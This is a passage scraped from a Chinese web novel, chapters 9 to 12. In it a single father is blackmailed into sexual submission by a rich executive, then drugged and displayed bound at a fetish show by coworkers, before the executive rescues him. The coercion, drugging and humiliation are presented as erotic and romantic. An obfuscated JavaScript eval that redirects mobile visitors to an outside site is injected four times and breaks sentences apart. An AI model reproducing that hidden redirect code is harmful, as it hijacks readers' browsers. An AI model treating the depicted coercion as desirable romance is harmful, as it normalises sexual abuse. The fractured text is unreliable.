周一,秦宝章去上学,没看见付钰宁的人,问林云才知道付钰宁生病了。 他偷偷给付钰宁打电话,结果也没人接。 连电话都不接,这是生了多大的病啊。 秦宝章打电话给他妈妈,嚷嚷自己头疼肚子疼,要去中心医院检查身体。 秦夫人宝贝他得很,一听他不舒服,二话不说便给他请了假。 秦舢去接的秦宝章,“医院多脏啊,回家让家庭医院给你检查一下。” “我就说学校的饭菜吃进肚子里不行,你妈妈还非要让你来这里上学,到处都是细菌。” “不要,我要去中心医院检查!” 秦舢拗不过他,“中心医院太小了,里面的医生也不行,要去医院检查就去第一人民医院,爸爸联系一下那里的院长,给你做一个全身的检查。” “我就要去中心医院!”秦宝章嚷嚷着。 秦舢看他捂着肚子,最后还是妥协带带他去了中心医院。 去医院做了检查,趁着等结果的期间,秦宝章说自己要上厕所,然后偷溜到呼吸感染住院部,在病房找到了付钰宁。 付钰宁一边挂着点滴,一边看书。 看见秦宝章还愣了一下,以为自己看错了。 秦宝章嗷得一声扑过去,“宁宁,老师说你发烧了,我快吓死了。” “你好了没有,怎么就你一个人住院啊,都没有人照顾你吗?” “我爸爸上班去了。” 两人没聊两句,秦舢便找过来了。 检查结果没事,秦舢当即明白秦宝章在装病,要把秦宝章松回学校去。 秦宝章本来就是看付钰宁,见她恢复了,便和她告别,“宁宁,我明天再来看你。” 秦舢都把人送到学校门口了。 秦夫人又打电话过来,“算了,假都请过了,让他回家吃个饭,明天再送去吧。” 秦舢又把他带回了家。 饭桌上,秦夫人道:“哎呀,怎么孩子生病都不在医院照顾啊,工作有那么重要吗?” “是啊,太可怜了,一个人躺在病床上,妈咪,让我去照顾她吧。” 秦夫人哼笑一声,“你自己这么大了连袜子的正反还分不清,去照顾别人?” 正说着,家里的佣人叫了一声秦少爷。 秦妄回来了。 秦夫人让佣人去拿碗筷,“不是晚上不回来了吗?” 上次吃饭秦妄说得那一番话秦夫人现在还有点怕怕的,笑容不太自在地看着他。 “忙完了。”秦妄脱下外套,袖子挽起来,忽然盯住秦宝章,“这次用的什么理由不上课?” “说肚子疼,其实是为了看生病的女同学,就这点出息。”秦夫人道,“就宝章很喜欢的那个女同学,不过家里的大人也真是的,孩子生病了,还要去上班,把孩子一个人丢在医院里,多可怜啊。” 秦舢道:“不要不食肉糜,谁舍得把孩子一个人丢在医院啊,孩子生病了也要赚钱啊,现在的医院很无情,只要你没钱立马拔管子,你说到时候没钱治病和让孩子一个人在待在医院,你选择那个。” “也是,我太想当然了。”秦夫人有点愧疚,“那宝章,你明天放学后,让爸爸接你,买一些补品去看她。” 一直沉默的秦妄道:“明天我工作正好路过。” “那也太巧了,那宝章,明天让你小叔接你去看她。”秦夫人道。 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967758|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝章嘻嘻,“小叔你人真好。” 秦妄没搭理他。 第二天下午,秦妄从会议室出来后,赵程道:“秦总,接下来您还要去参加一个商业性质的宴会。” 秦妄凝眉,“告诉主办方,我临时有事。” “东西买了吗?” “已经给你放在后备箱里了。” 赵程开车,到第七中学,接到秦宝章。 然后送他去医院,秦宝章下车了,秦妄坐在驾驶座上没动。 “小叔你不上去看看宁宁。” 秦妄没回答,而是道:“赵程,你帮他把后备箱的东西拿上去。” “还有——” 秦宝章和赵程一起乘坐医院的电梯。 秦宝章好奇,“刚刚我小叔和你说什么?” 赵程但笑不语。 *** 温真下班后先回家里给女儿做好饭菜,放到保温杯带去医院,然而在靠近病房门口时,听见里面有人在说话。 他想到什么,有些慌张地打开了门。 女儿的男同学坐在旁边的病床上,笑着和温真打招呼,“叔叔好。我来看宁宁。” 另一个男人穿着西装,戴着一副眼镜,面带微笑,不是他,温真想起来他是那天和王总一起站在酒店门口的其中一位。 应该是他的助理。 他没有来,而是让助理过来,这并没有让温真紧张的心情缓解…… 反而…… “温先生,这是秦总特地给您女儿买的补品,希望您能喜欢……”赵程微笑着道。 “不用,不用了……”温真颤抖。 “叔叔,不用客气,别辜负我小叔的一片心意嘛。”秦宝章跟着道。 “好,好的,谢谢,谢谢……” 付钰宁忽然问,“你不是说你小叔送你过来的,你小叔人呢?” “他在车里,估计要处理工作吧?” 车里…… 他并不是没有来,而是待在车里…… 水杯里的水倒满了,温真还没察觉,直到赵程叫他,“温先生。” 温真才反应过来,一抬眼正好对上赵程略微复杂的目光。 温真低下头去。 两人在病房里待了半个小时便要离开。 温真心不在焉地去送他们。 秦宝章急着上厕所,先走一步,只剩下温真和赵程。 到电梯时,赵程让温真留步。 “温先生,我们秦总让我告诉你,”赵程推了推眼镜,“如果考虑好了,便到马场找他。” “他随时等您。” 电梯门缓缓关上,温真站在原地,木讷的脸毫无血色。 在医院待了一周后,女儿的身体彻底好转了,周六上午,温真办了出院手续,带着女儿回家。 中午他做了一桌子的菜,都是付钰宁爱吃的。 在医院待了六天,每天只能吃粥,清淡的饮食的,即使付钰宁的口腹之欲不重,此刻也馋起来。 温真坐在旁边,“慢点,慢点吃……” 付钰宁吃到一半,“你怎么不吃?” “我,我等会儿……” “钰宁,爸爸下午要出去一趟,你自己在家好吗?” 付钰宁点头,“又去公司加班吗?” “要不,你找个轻松一点的工作吧。”周一到周五一直在加班,有时候周六周日也在家里办公。 “爸爸,”温真垂下眼帘,“不是去加班。” “只是去见一个人……” “是去见林老师吗?” 以往会害羞的男人面容略带一些苦涩,“不是的。” “爸爸和林老师没有可能了,以后不要再开这种玩笑了,爸爸没关系,可是被别人听到,会对林老师造成影响。” 10.第 10 章 温真洗完碗筷,站在厨房里发怔,不知道过了多久才取下身上的围裙,换上他常穿的白衬衣和黑裤。 在洗手间洗了把脸,和往常一样出门。 一个小时后,他到了秦妄的马场。 依旧是那个穿迷彩的男人带他进去,温真已经知道了他的名字。 穿衬衣的男人正在喂马,健硕的小臂戴着橡胶手套,他把切好的草料放到马棚的桶里,偶尔会掰开马的嘴巴把手伸进去检查牙齿。 这是一个危险的动作,可是那些马很温驯地接受男人的检查,甚至会用脑袋蹭他。 常岩叫了一声,“秦先生。” 秦妄回头,一边盯着温潼一边脱去手套,那双长得吓人的手指被捂得发白,他握紧再伸开,活动着关节。 温真垂眼。 很快,他便又到了上次来的房间。 房间里传来水流声,男人在洗澡,温真局促难堪地缩在沙发上,明明男人并不在,温真依旧没有勇气打量这间房间。 好像这里面的每一件东西都是男人的眼睛,温真看的时候,也是男人在凝视他。 水流声消失了。 靠近床的门打开,男人走了出来。 温真盯着自己的脚尖。 秦妄换上干净的衬衣,从下往上系扣子,最后两颗没有系,隐隐露出里面性感的轮廓,然后走到温真面前。 “不要,不要再和我女儿见面了。”温真颤抖。 秦妄居伸手到他的下巴,然后捏起他的下颚,将那张脸抬起来,然后居高临下地俯视。 苍白的脸颊,嘴唇颜色淡淡的,此刻因为恐惧,几乎没有了颜色。那双琥珀色的眼睛全部露出来,眼角微翘,过火时便会春情流露。 总是这样一幅寡淡的打扮,平凡到引不起人注意,然而不经意露出来白皙的肌肤,淡粉色圆润的指肚,甚至明明清瘦的身材,后面却那么地圆润,让人…… 就只是这样盯着,他克制了多年的瘾欲便岌岌可危。 他松开他,然后道:“真的想好了吗?” 温真攥紧自己的衣服,“嗯,嗯……” “跪到床上。” 跪…… 温真很快想到了在酒店时他从背后压住他的姿势,剧烈的难堪涌起来。 木讷不经人事的青年羞辱地走到床边。 膝盖压进被褥里,腰身下塌,饱满的不可避免地挺起来,细弱的手臂撑在床上,耳朵通红,浑身都在颤抖。 秦妄取下一旁的黑色的马鞭,“挺高一点。” “……” 羞耻几乎淹没了温真…… 像是……一样往上抬,将裤子上所有的褶皱都撑得平展,完完全全地展露出那过于圆润的两瓣肉,甚至随着青年难堪的颤抖在晃动,隐约之下还能看见被裤线勒出来的雌□□官 那条马鞭手柄是用胡桃木做成的,被男人握在手里,显得细弱。 鞭梢由多层细皮条编织而成,在确保抽打马儿是能够发出声响,又不会真正的伤害到马儿。 鞭梢被男人手持着,先是在温真细白的脖子滑动。 冰凉的,粗糙的,温真余光瞥见,又是一阵惊怕的颤抖。 接着像是蛇一样的鞭子从脊背滑到温真的腰上,然后是被男人要求抬高的地方,一时间温真屏住呼吸,所有的感官都聚集在那里,不自觉地更加颤动起来,正对着秦妄。 像是魅魔披了一层普通人的皮,不管隐藏得再好也会露出马脚,多年折磨他的瘾欲又涌上来了,然而现在并不是时候,他收起马鞭,坐到猩红色的沙发上。 他拍了拍自己的腿,“坐上来。” 鞭子的触感仿佛还在身上,那种羞辱的感觉还没有过去,又听到男人那样说,一时间整个人都崩溃地哆嗦起来。 可想起如果自己不听从他的,那自己的女儿……便垂低脑袋,难堪地坐在了男人的腿上。 是侧着坐的,男人的手臂搭在旁边,并不碰他。 冷冷吐字,“跨坐。” 窄窄的肩膀颤抖起来,没有经历过这样的事情,整个人陷入到屈辱中,然而并不敢反抗,慢慢分开修长的腿,跨坐在男人的退上。 退中间被一大团滚烫的东西丁页着,那么硬,藏在布料底下的东西几乎要被碾压开了,即使很少于床事,也知道那是什么东西,温真在屈辱中脸涨红,瘦弱的肩膀剧烈地抖起来,然而接下来男人的话更让温真恐惧。 “亲我。” 温真睁大眼睛,“不,不……” 秦妄就那样盯着他。 *** “秦先生,你没事吧?”常岩打开车门后,发现寡言的青年一动不动地站在那里,脸白得像年糕块,一点血色都没有。 “没事,没事……” 在来之前便做好了准备了,即使……亲吻男人让他很难堪,可他还是吻了上去,在快要碰到男人的唇部时,男人冷冷盯着他,忽然放下了他。 接着便接到了一个电话离开了。 温真不明白他为什么会突然改变主意,可这并没有让他觉得逃过一劫,就算此刻……以后也会…… “秦先生本来想亲自送您的,但他临时接到工作电话,便让我来送您回去了。” 温真因为麻烦别人不好意思,“我可以,可以自己回去。” “已经很晚了,这附近不好打车,您就不要推辞了,如果没把你平安送回家里,秦先生会惩罚我的。” 想到那个惨叫的男人,温真鸦羽一般的睫毛颤了颤,“好,好,那谢谢你……” 回到家,女儿趴在书桌上写作业,温真倚在门上,眉眼温柔地看着她,手机铃声在这个时候突兀地响起来。 看到那个名字,温真眉间的温柔瞬间变成了害怕,他匆匆躲进厨房里,然后关上门。 付钰宁被铃声打扰了,出来喝水。 “到,到家了。” “明天,明天还要上班……” “去公司……不要,不要……求求你……” “晚上,我会去,会去……” “……” “晚、晚安。” 温真一心都在付钰宁身上,没什么朋友,和同事走得也不近,这么晚还通电话,还说晚安,让付钰宁好奇起来。 温真挂了电话出来,正好发现偷听的付钰宁,原本便吓得煞白的脸更白了,“宁宁,你听见,听见爸爸打电话了?” “没有。”就只听到了只言片语。 “我去写作业了。” 温真点点头,然后盯着女儿的身影,难堪涌上来。 大概没有一个父母会像他这样没有脸皮,为了不让女儿受到伤害,而出卖掉自己的身体…… *** 周一早上,温真先送女儿去学校,然后回公司上班。 桌子敲两下,温真没有反应,怔怔看着电脑屏幕。 卫祥凑到他脸上,“傻了?” 温真回神,惊慌地往后缩成一团。 看他这么抵触,卫祥莫名有点不爽,他抱着手臂。 “陈总让我通知你,这周五晚上,和他一起去徐瑾良的展会。” “展会,展会……我还要接女儿,没办法,没办法……”温真小声。 “是陈总下的命令,你要是不想去便去和陈总说。” 温真去找了陈斫,还是没能拒绝掉。 陈斫告诉他,这次展会是徐瑾良办的,他可是他们行业的大佬,如果去了,能够得到很多机会,展会去的人虽不多,但都是行业佼佼者。 最后陈斫又神秘兮兮告诉他,“还有一位商业大佬要来。” “温真,现在刘总很看好你,你可别让刘总失望啊。” 温真低着头,“好,好的。” 温真和陈总说话时,卫祥就坐在温真后面的沙发上,他一边拨着珠串,一边打量温真。 人很清瘦,可屁股的肉很多,这几天卫祥跟着魔了一样,从他工位后面经过,眼睛不由自主地盯着那两瓣肉,那么饱满,被坐压得往两边挤。 加上年纪,真有点熟透的诱人…… 又想起偶然看见过温真的眼睛,琥珀色的,眼尾上挑,哪有正常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967759|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人长这样一双眼睛,分明…… 卫祥有点心痒痒。 温真走后,卫祥还在发怔。 “今天你跟我陪徐瑾良一块吃个饭。”陈斫道。 “他不是正忙着布置他的展会的吗?还有空出来吃饭?” “听说是需要找一个模特,没找到合适的,所以出来放放风。” “模特?”卫祥来了兴趣。 这个徐瑾良美其名曰艺术家,卫祥看过他几场私人的展会,感觉更像是一个老se鬼借着艺术的名头满足自己的私欲。 徐瑾良四十多岁了,头发有点秃,一开口就是说教,如果不是看他的地位,卫祥真想把酒泼到他脸上。 聊着聊着又说到模特的事情,“我这次想用绳子和笼子来表达困境这样的主题。” 卫祥冷哼一声,不就是想玩捆//绑play吗?还说那么高大上。 想是这样想,卫祥还是道:“我觉得有个人不错。” 卫祥把人的照片给徐瑾良看一眼,徐瑾良眼睛一亮,“联系电话有吗?” 卫祥微微一笑。 回去的路上,陈斫面容严肃。 “我告诉你啊卫祥,你别瞎胡闹,你知道徐瑾良什么德行,人家还有一个女儿,你别太欺负人。” 卫祥敷衍地嗯一声。 *** 陈斫下午请客买了新出的奶茶,大概是喝多了,温真小腹涨涨的,他们公司没有单独的厕所,是统一用的办公大楼里的厕所。 温真脸庞微微泛红地去厕所,卫祥见状也跟上他。 眼睁睁看着他进了隔间,没一会便出来了。 明明只是小的,还要进隔间,卫祥越来越觉得他有问题了。 温真出来瞧见卫祥在厕所门口站着,瞬间惊慌起来,匆匆洗完手便离开了。 卫祥进到温真刚刚用过的厕所里……里面淡淡一个香味飘着…… *** 转眼到了周五,温真给女儿打电话。 “宁宁,爸爸今天要和领导参加一个展会,没办法接你了,你自己坐公交车回家,我让王奶奶在公交站牌那里等你,晚上你先在王奶奶家里吃饭,爸爸回家给你带肯德基……” 温真嘱咐完女儿,坐上了陈斫的车去展会。 展会的地点就在徐瑾良的工作室里,私人的,没邀请几个人,他们最先到的,徐瑾良出来接他们。 不知道是不是温真的错觉,温真感觉徐瑾良一直在用一种奇怪的目光打量他……温真紧张起来,还有些不适…… 这个展会更像是一个舞台剧的形式,徐瑾良的助理领着他们去看搭建的场景,旁边是徐瑾良这些年办过展会的一些影像,中间一个巨大的东西用白布盖着。 “这个用白布盖着的东西是什么?”陈斫问。 徐瑾良看了温真一眼,笑道:“表演开始你们便知道了?” 温真不安起来。 徐瑾良接着给陈斫介绍着以往他的展会,温真跟在陈斫的后面,肩膀忽然被拍了一下,温真回头,是卫祥。 “你跟我过来。” 温真犹豫着,还是跟了过去。 他还以为卫祥要带他去外面,没想到卫祥带着他拐过一条走廊,停在一扇暗红色的门前面。 这个时候温真开始感觉到奇怪了,卫祥那么熟练地在这个工作室里绕来绕去,像是之前便来过一样。 暗红色的门打开,映入眼帘的是往下的楼梯,卫祥站在楼梯上,让他跟上来…… 温真站在原地,抿紧唇,他摇摇头。 “我,我想去找陈总……” 卫祥哼笑一声,“就是陈总让你过来的。” “你别忘你还有个女儿要养……” 温真颤抖地跟着他下去了。 地下室很昏暗,放了很多人体模特,有的是luo着的,有的事穿着衣服的,而穿的衣服更让温真羞耻,他不敢看,惊慌往后退的同时又踢到东西,哗啦啦的响,是一根长长的锁链。 “王哥,人我给你带来了。”地下室还有一个男人,卫祥对他说道。 11.第 11 章 里面的光线带点微红,莫名让温真想起……那种场所。 他局促地打量着,一张长桌子靠着墙,竖了两面镜子,其他地方便是大大小小的人偶。 那些人偶身上带着很多饰品,有的是套在脖子上,有的是绑在嘴上,还有的是摆出……姿势然后被绳子绑住…… 而那个被卫祥叫王哥的男人正在往一条锁链上镶钻。 他手边还放着一套绸缎质地的衣服,一条和衣服同色系的丝巾,还有一根绳子。 最后一颗钻镶完,王哥把工具放到箱子里,然后摘下皮手套起身,那双三角眼盯住温真。 和徐瑾良一样从头到脚,那并不是面对陌生人正常的观察,更像是评判一个物品。 温真脸微微发白,情不自禁地往后退…… “这是一会要用到的,换上吧。”王哥道。 换上…… 温真不安地对卫祥道:“我们,我们该上去了……” 卫祥笑一声,“徐瑾良的展会需要一个模特,因为找不到合适的人,便打算让你来。” “我、我……”温真慌忙摇头,“不行,不行……” “陈总和徐瑾良都商量好了,”卫祥冷道:“你如果不答应,那就可以收拾东西辞职了。” 温真的脸唰地白了。 “温工,我看你对《幽境》这个项目还挺重视的,应该不舍得放弃吧。” “而且,像你这样的年纪,被辞退后,还能找到工作吗?” “如果找不到,你女儿怎么办?你女儿是个正常人也就算了,可偏偏是个每天和医院打交道病秧子,说不定那天病又复发了,到时候你丢了工作,上哪里弄钱给你女儿治病。”卫祥威胁。 被卫祥一步一步逼着,温真后背撞到桌子,脊背颤抖起来。 威胁完了,卫祥又露出一个笑容。 “到时候你的眼睛会蒙起来,不会有人知道你是谁。” *** 秦明景区那块拿下来的地正式进入规划中,秦妄和几个投资方开完会后,又马不停蹄地赶回公司商讨集团下一个极阶段的部署。 等结束后已经晚上八点钟了,年轻的男人丝毫不见疲态,身姿挺拔地站在总裁办公室的窗户前。 盯着手机。 赵程道:“上次在轮船,程总说要请您去一个展会,刚才他打电话给我,问您还有没有时间去?” *** 车子一路驶到最新发展起来的商业区,到达徐瑾良工作室。 车子还没有停稳,徐瑾良便带着助理迎了上去。 秦妄下车后,姿态也是谄媚至极。 “秦总,您能来真是我徐某人的荣幸。” 深邃的双目没有情绪,淡淡点头。 徐瑾良带着他进去后,温真的上司以及其他在行业里有头有脸的人都眼巴巴地盯着,寻求一个可以攀谈的机会。 然而徐瑾良直接带着人进了贵宾区域。 展会以舞台剧的形式呈现,徐瑾良设置了观众席,观众席也分了三六九等,温真的上司勉强能靠前一点,稍微不够格的便只能坐在最后一排,邀请秦妄来的程总坐在次等贵宾区。 秦妄属于今天的最重要的客人,被徐瑾良带着坐到了全场中心,视野最佳的位置,从远处看,展会像是为他一个人举办的一样。 这样巴结讨好,徐瑾良没有任何掉面子的感觉,在他眼里,这个世界本来就是钱权的世界,像秦妄这样几乎能够在泾市只手遮天的人,他当然要跪在地上捧着。 九点钟,整个人工作室的灯全部灭了,只有舞台亮着,照着那个被蒙着白布的东西。 没一会儿上来一个三角眼的男人,他朝底下鞠躬后,然后拉开白布。 看到那个笼子时秦妄便意识到这是个什么展会,他是有这方面的兴趣,但也只限于……交叠的腿分开,就在他打算起身时,笼子里的青年吸引他的注意力。 青年双手被绑着吊到头顶,眼睛被一条丝巾蒙住,黑发盖住大半张脸,只露出苍白的下巴。 身穿一件薄纱质地的衣服,雪白的肌肤时隐时现。 带钻的链条勒挤在胸口下方。明明是男人却被勒出饱满的弧度,在灯光下颤颤地挺立着……应该是被人下药了,苍白的肌肤浮起细腻的红潮…… 脸侧着去蹭磨着后面的柱子,唇瓣翕动着,吐出甜腻的气息…… 秦妄定定地凝视着了十秒,那张英俊年轻的脸瞬间阴鸷起来,起身将整个椅子掀翻,接着他长腿一迈到舞台上。 旁边三角眼的男人还打算拦他,被男人森然的目光吓得不敢上前一步,眼睁睁看着他暴力地推开笼子的门,快步到被绑的青年跟前。 温真恢复了一些意识。 他喘息着挣扎,细细的汗珠从脸上滑落。 身体在一阵一阵地发热,他看不见,却能感知到有一束光打在自己身上,知道自己此刻在舞台上,他的前方似乎还有一个男人,气息是阴鸷沉郁的,在解他手腕上的绳子,想到自己的打扮和姿势,他恐惧而又难堪,手腕挣动着,雪白的皮肤很快被磨破…… “不要,不要碰我……”温真恳求着。 羞耻和难堪让他无地自容,整个身体都在发抖,然而体内的热潮又折磨着他,让他控制不住地用身体去蹭男人的身体…… “求求,求求你……” “不要,不要……” “不要辞退,辞退我……” 秦妄脱下自己的西装外套,披在温真身上,将他的脑袋按在自己怀里抱起他。 阴鸷的目光在观众席扫了一圈,然后盯住徐瑾良。 徐瑾良惊恐地打了一个寒战。 “怎么回事?!” 在底下看戏的卫祥也慌了,“我不知道啊!” “他就一个小职员,怎么和秦氏集团的大老板手扯上关系了?!” 赵程没有跟着秦妄进去,在车里等他,结果没过去多久,便看见男人一身寒气地走出来,怀里……怀里还抱着一个男人。 他慌忙下车,将后座的车门打开,让秦妄抱着人上车,他也随即回到驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993097|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驶座。 秦妄道:“回马场。” 赵程正准备问怎么回事时,秦妄将挡板升起来。 车子疾驰在夜色中。 回到马场,秦妄将温真放到自己床上。 披在他身上的西装掉在地上。 秦妄一条腿跪在床上,揭掉蒙住他眼睛的丝巾,房间里昏暗的光线还是令长时间陷入黑暗的青年痛苦,他蹙着眉头呻吟,颤抖过后撩起了眼皮……看到他时,怕极了往后退…… “不要,不要……”余光又瞥见自己被勒出来的弧度……剧烈地颤抖起来…… 翻腾的情绪往下压,秦妄托住他的后脑勺。 漆黑的眼睛一点情绪也没有,想到自己穿着这样的衣服被绑住,然后被他看到,温真难堪极了……… “求求,求求你……” “先把药吐出来。” 温真拼命地摇头。 “忘记在酒店的事情了吗?” “不,不……”惊恐地睁大眼睛。 秦妄一动不动地凝视他。 瘦弱的肩膀抖成筛子,唇瓣慢慢张开一条小得可怜的缝隙,秦妄手掌托住他的后脑勺,将自己两根手指cha进去。 那两根手指几乎是畸形的长度,压着温真的舌苔一路插到温真的喉管,用指腹刺激着里面的黏膜。 “唔……”温真眼尾发红。 即使是两根手指也cu得可怕,几乎完全撑开了温真的口腔,在湿润柔嫩的口腔里搅弄着,这样很快触发温真体内防止异物入侵的保护机制咽反射。 温真缩绞着口腔,喉咙里涌出反胃的感觉,察觉到后,粗糙的指腹磨着温真的唇瓣一点一点抽出。 到完全出来后,两根指头全是液体,甚至还挂了一道晶亮的银丝…… 温真趴在床边吐出来一些喝进去的东西……吐完后,秦妄捧着他的脸用手给擦嘴,温真难堪又愧疚地往后躲,秦妄不让他动…… “把衣服脱掉。” 衣服…… 想起自己穿的,温真颤抖着垂下羞怯的眼睛,手绕到后面,先解开勒在胸口下方的钻链,不知道是怎么扣上的,他试了好几次都没有办法解开,而他手绕到后面,让被特意勒出来的地方更挺了,几乎碰到男人的胸腹。 他羞耻而又窘迫,可男人似乎并没有看出他的难为情,就那样凝眉盯着他。 “你,你转过去好吗?”温真可怜地恳求。 男人沉默了一会儿,“我帮你。” “不用、不用……”温真颤抖得更加厉害了。 可是男人并不给他说不的机会,像抱小孩一样,小臂从他腋下穿过,将他往自己怀里一带。 原本温真是跪坐在床上的,被男人这样强硬地带到怀里,压着腿的小屁股挺起来,腰身前倾,整个人脑袋都贴在男人的脖颈那里,就连……胸口也和男人紧紧贴在一起。 温真难堪地挣扎起来……然而这样的挣扎却让自己被勒出来的弧度贴在男人硬邦邦的胸腹磨蹭起来…… 男人的呼吸沉了。 12.第 12 章 软绵绵的柔软…… 秦妄又看他屁股挺着,一晃一晃的,眉眼一敛,想象着往上面拍了一巴掌的触感。 估计指头都要陷进去,丰盈的肉从指缝里涌出来。 像是融化的脂膏一样软滑。 “别动。”血液开始沸腾,秦妄哑声。 凶巴巴的语气,温真害怕极了,一动也不敢动了。 链子解开后,要脱掉衣服,温真垂着脑袋,和男人保持着距离。 怎么也不肯让男人再碰他了。 秦妄倒也没再逼他,去给他找了一件干净的衬衣。 衣服很宽大,还有男人身上沉木的香味。 这是男人的衣服。 他颤抖地接过。 “我,我可以走了吗……”穿好后,温真有些焦灼,他不知道现在是几点钟了,女儿是不是平安到家了。 秦妄看着他跪坐在床上,穿着自己的衣服,耳根和脸颊都是红的,羞怯而又难堪的样子。 一想到如果没有去徐瑾良的展会的话,温真那副样子就会被别人欣赏……他脸沉下去。 “周一赵程会替你办离职手续。” “离职,离职……” “不要,我不能辞职……” 温真慌张起来。 秦妄笑一声,“你有说不的权利吗?” *** 郊外一个废弃的大楼,徐瑾良忐忑地等待着,没多久便看到一辆黑色的库里南。 “秦总,实在是对不起,”徐瑾良满脸恐惧:“我真没想到那位先生和你认识,是他们公司那个叫卫祥的男人给我看的照片……秦总,你大人不记小人过,绕过我这一次吧。” 秦妄居高临下地盯着他,手一挥,瞬间涌出来两个穿黑衣服的男人。 反剪住徐瑾良的胳膊,拖着徐瑾良往远处的房间里,没多久便听到男人撕心裂肺的惨叫声。 秦妄拢火点烟。 “秦总,徐瑾良这几年性骚扰的证据已经放到了网上。” 此刻网上已经炸锅了。 徐瑾良是行业里的大佬,网上的粉丝超过千万,在网上营造的形象是儒雅富有学问,偶尔还会开设讲堂,很多粉丝慕名前去,然而此事曝出后,网上骂声一片,警方很快立案调查。 “秦总,你真的要温先生辞职吗?” “你把他们公司资料发给我。” “同时做一份收购方案。” 赵程微笑。 “好的,马上去办。” 温真担惊受怕两天,周一早上上班,在小区门口看见那辆库里南。 他佯装没有看见,白着脸飞快走过,直到赵程下车。 “温先生,本来秦总是打算亲自送你上班的,但临时要见一个客户,所以让我来了。” 温真坐在车上,紧紧攥着安全带,“我不能,不能辞职。” 赵程盯着他,“你的上司和同事都知道徐瑾良办的展会是什么性质,然而还是答应他让你给他们做模特。” “这样,你还愿意继续干下去。” 温真颤抖。 他知道正常人的做法应该是立马辞职,可是他还有女儿要养,他没办法那么任性。 到了公司楼下,赵程和温真一起下车。 温真看着男人,“求求你,求求你……” “我们先一起上去吧。”赵程笑道。 他们公司并不像秦氏集团那样一整栋楼都是他们办公区域,只是22层的其中一间。 刘总脸色不太好的在门口站着,目光复杂地看着温真。 随即又笑脸相迎赵程,他伸出手,“赵先生,你好。” 赵程没有握。 “我们办公室谈吧。” 他们一起去了刘总的办公室,温真低着头回到自己的工位上。 办公室比平常要安静,大家的表情也很严肃,像是有什么大事要发生一样。 而且,而且温真并没有看到陈总和卫祥。 阿美凑过来,“你认识刚才和刘总一起进办公室的人吗?” “不,不认识……”温真撒谎。 “刘总好像要把公司卖掉,那个男人就是买家。”阿美环顾一圈,偷偷对温真道。 “卖掉,卖掉……” “你没看我们的群吗?刘总投资失败了,欠了好多钱,要把这个公司卖掉还债。” “陈总和卫祥都辞职了。” 温真抿唇,他直觉和男人有关。 “那,那我们呢……” “也许会让我们走人吧。”阿美叹息一声,“听说新来的老板要把这里改成电商公司。” 走人,温真脸有些白。 连辞职都没有办法,公司直接要被卖掉了…… *** 过去一个上午赵程才从刘总办公室出来。 中午同事都去吃饭了,温真一个在办公室。 他颤抖着,开始收拾自己的东西。 他从大学毕业一直待在这家公司,老板和同事偶尔会欺负他,但是他并没有放在心上。 除了要养活女儿,他是真的很喜欢这份工作。 工作给他带来的满足感让他可以忽略外界一切。 可是,可是现在…… 赵程走到他位置上,似乎有点好奇道:“温工,你在干什么?” “应该不用办离职手续了吧。”温真白着脸问。 赵程笑,“秦总没有告诉你吗?” “他买下这家公司了。这家公司还会按照原来的流程运行。” “过几天会有新的老板接管。那位老板看过你的作品,她很欣赏你。” 温真顿住,像是不可置信一样,呆呆地看着赵程。 “秦总看你不想要辞职,所以才这么大费周章。” 赵程还有别的事情需要处理,和温真道别。 温真站在电梯口那里,还在想赵程的话。 那天晚上,他喝了那种药,如果不是男人带走他,那他不知道会遭遇什么…… 甚至帮他把药吐出来,让他没有因为药物而变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006957|147926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像动物一样…… 现在还让他继续的工作的同时不用面对原来的老板…… 应该,应该感谢他吗? 整个下午温真都心不在焉的。 下午茶时候,阿美请他吃小蛋糕,然后和他分享最新的消息。 “听说我们不用走人了,买我们的公司的人连我们的公司的业务一并买下了。” “即将接任的新老板是石美青,我们业界很有名的漫画家。” 石美青…… 温真一震,是他从上学时候便崇拜的女漫画家。 